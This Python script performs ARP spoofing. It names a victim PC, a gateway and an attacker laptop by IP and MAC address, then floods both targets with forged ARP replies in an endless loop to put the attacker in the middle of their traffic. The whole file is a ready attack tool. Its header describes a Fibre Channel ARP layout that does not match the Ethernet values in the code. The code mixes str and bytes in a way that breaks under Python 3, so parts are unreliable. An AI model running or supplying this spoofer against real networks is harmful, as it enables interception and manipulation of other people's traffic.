#!/usr/bin/env python
import sys
import socket
import struct
import binascii
from datetime import datetime
PY2 = sys.version_info[0] == 2
if PY2:
    raise Exception("Please use finally Python3.x version :)")

'''==================== DESCRIPTION ===================='''
#ARP (Address Resolution Protocol) is used to convert the IP address to its
#corresponding Ethernet (MAC) address. When a packet comes to the Network layer
#(OSI), it has an IP address and a data link layer packet that needs the MAC address
#of the destination device. In this case, the sender uses the ARP protocol.
#ARP PACKET FORMAT:
'''
       0                   1                   2                   3
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
      |        HW Type = 0x0012       |       Protocol = 0x0800       |
      +---------------+---------------+---------------+---------------+
      |  HW Len = 12  | Proto Len = 4 |            Opcode             |
      +---------------+---------------+---------------+---------------+
      |                                                               |
      +-                                                             -+
      |                      HW Address of Sender                     |
      +-                                                             -+
      |                                                               |
      +---------------+---------------+---------------+---------------+
      |                   Protocol Address of Sender                  |
      +---------------+---------------+---------------+---------------+
      |                                                               |
      +-                                                             -+
      |                      HW Address of Target                     |
      +-                                                             -+
      |                                                               |
      +---------------+---------------+---------------+---------------+
      |                   Protocol Address of Target                  |
      +---------------+---------------+---------------+---------------+
            
   -  HW Type:   0x0012 (Fibre Channel);
   -  Protocol:  0x0800 (IPv4);
   -  HW Len:    12 (Length in octets of the HW Address);
   -  Proto Len: 4  (Length in octets of the Protocol Address);
   -  Opcode:    0x0001 for ARP Request, 0x0002 for ARP Reply [ARP];
   -  HW Address of Sender: the HW Address (see section 8) of the
      Requester in an ARP Request, or the HW Address of the Responder in
      an ARP Reply;
   -  Protocol Address of Sender: the IPv4 address of the Requester in
      an ARP Request, or that of the Responder in an ARP Reply;
   -  HW Address of Target: set to zero in an ARP Request, and to the HW
      Address (see section 8) of the Requester in an ARP Reply;
   -  Protocol Address of Target: the IPv4 address of the Responder in
      an ARP Request, or that of the Requester in an ARP Reply.
'''

'''==================== DESCRIPTION-END =================='''    


'''==================== USAGE ===================='''
'''====================  USAGE-END =================='''

'''==================== GLOBAL SETTINGS ===================='''
#victim
WIN10_PC_IP= '192.168.1.100'
WIN10_PC_MAC= '\x30\xb5\xc2\x11\xf8\x39'

#gateway
GATEWAY_IP='192.168.1.1'
GATEWAY_MAC='\xd8\x5d\x4c\xff\xdb\x56'

#attacker
UBUNTU_LAPTOP_IP='192.168.1.102'
UBUNTU_LAPTOP_MAC='\xc4\x17\xfe\x5b\x84\x83'

CODE ='\x08\x06'
HW_TYPE = '\x00\x01'
PROTOCOL_TYPE = '\x08\x00'
HW_LEN = '\x06'
PROTOCOL_LEN = '\x04'
OPCODE = '\x00\x02'
'''==================== GLOBAL SETTINGS-END =================='''
        

def main():
    s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) #LINUX
    #s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.ntohs(0x0800)) #WIN
    s.bind(("eth0",socket.htons(0x0800)))
    eth1 = WIN10_PC_MAC+UBUNTU_LAPTOP_MAC+CODE #for victim
    eth2 = GATEWAY_MAC+UBUNTU_LAPTOP_MAC+CODE # for gateway
    print("HERE")
    gateway_ip = socket.inet_aton(GATEWAY_IP)
    victim_ip = socket.inet_aton(WIN10_PC_IP)
    
    arp_packet_victim= eth1+HW_TYPE+PROTOCOL_TYPE+HW_LEN+PROTOCOL_LEN+OPCODE+UBUNTU_LAPTOP_MAC+gateway_ip+WIN10_PC_MAC+victim_ip
    arp_packet_gateway= eth2+HW_TYPE+PROTOCOL_TYPE+HW_LEN+PROTOCOL_LEN+OPCODE+UBUNTU_LAPTOP_MAC+victim_ip+GATEWAY_MAC+gateway_ip
    while(True):
        s.send(arp_packet_victim)
        s.send(arp_packet_gateway)
    
if __name__ == '__main__':
    try:
        main()
    except Exception as e:
        print("[ERROR]: %s"%e)
        
